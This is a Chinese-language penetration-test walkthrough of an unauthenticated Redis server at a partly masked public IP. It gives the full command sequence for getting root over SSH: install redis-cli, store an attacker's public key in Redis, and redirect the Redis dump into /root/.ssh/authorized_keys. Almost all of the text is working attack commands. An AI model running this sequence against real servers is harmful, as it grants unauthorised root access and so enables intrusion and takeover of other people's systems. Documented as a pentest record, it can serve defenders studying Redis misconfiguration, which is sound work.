在一次滲透測試中拿到一個ip地址52.80.249.xx,nmap端口掃描出22,6379,80端口,目標(biāo)機(jī)是linux系統(tǒng)的一臺服務(wù)器,6379為redis的默認(rèn)端口,嘗試對其進(jìn)行利用。使用kali作為攻擊機(jī)
一、環(huán)境準(zhǔn)備
1.1、在攻擊機(jī)上面下載redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
1.2解壓文件,執(zhí)行文件
解壓文件:
tar xzf redis-2.8.17.tar.gz
進(jìn)入redis目錄:
cd redis-2.8.17
安裝:make
1.3、進(jìn)入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣以后啟動redis就不用進(jìn)入安裝目錄了)
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
1.4、返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下
cd ../
cp redis.conf /etc/
1.5、使用/etc/目錄下的reids.conf文件中的配置啟動redis服務(wù):
redis-server /etc/redis.conf
1.6、然后ctrl+c退出,再次進(jìn)入src目錄然后連接目標(biāo)靶機(jī)的redis服務(wù)
ctrl+c
cd src
redis-cli –h 52.80.249.xx
出現(xiàn)52.80.249.xx:6379>就代表連接成功,并且沒有輸入密碼
二、漏洞利用
2.1、這里附上一個這里沒法利用的一種 攻擊方式截圖(沒有測試僅供參考)
2.2、我們這里是不知道路徑的,根據(jù)前期信息收集知道還有ssh服務(wù)的22端口是開放的,可以利用“公私鑰”認(rèn)證獲取root權(quán)限
使用ssh生成公鑰和私鑰文件
ssh-keygen -t rsa
2.3、進(jìn)入.ssh文件下,將上面生成的公鑰保存到1.txt里面
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > 1.txt
2.4、將生成的公鑰文件通過redis上傳到目標(biāo)服務(wù)器
cat 1.txt | redis-cli -h 52.80.249.xx -x set crack
2.5、遠(yuǎn)程連接redis服務(wù)
redis-cli -h 52.80.249.xx
2.6、獲得redis備份的路徑
config get dir
2.7、更改redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh):
2.8、設(shè)置上傳公鑰的備份文件名字為authorized_keys:
config set dbfilename authorized_keys
2.9、檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機(jī)
config get dbfilename
2.10、攻擊機(jī)直接ssh連接目標(biāo)服務(wù)器
ssh -i id_rsa root@52.80.249.xx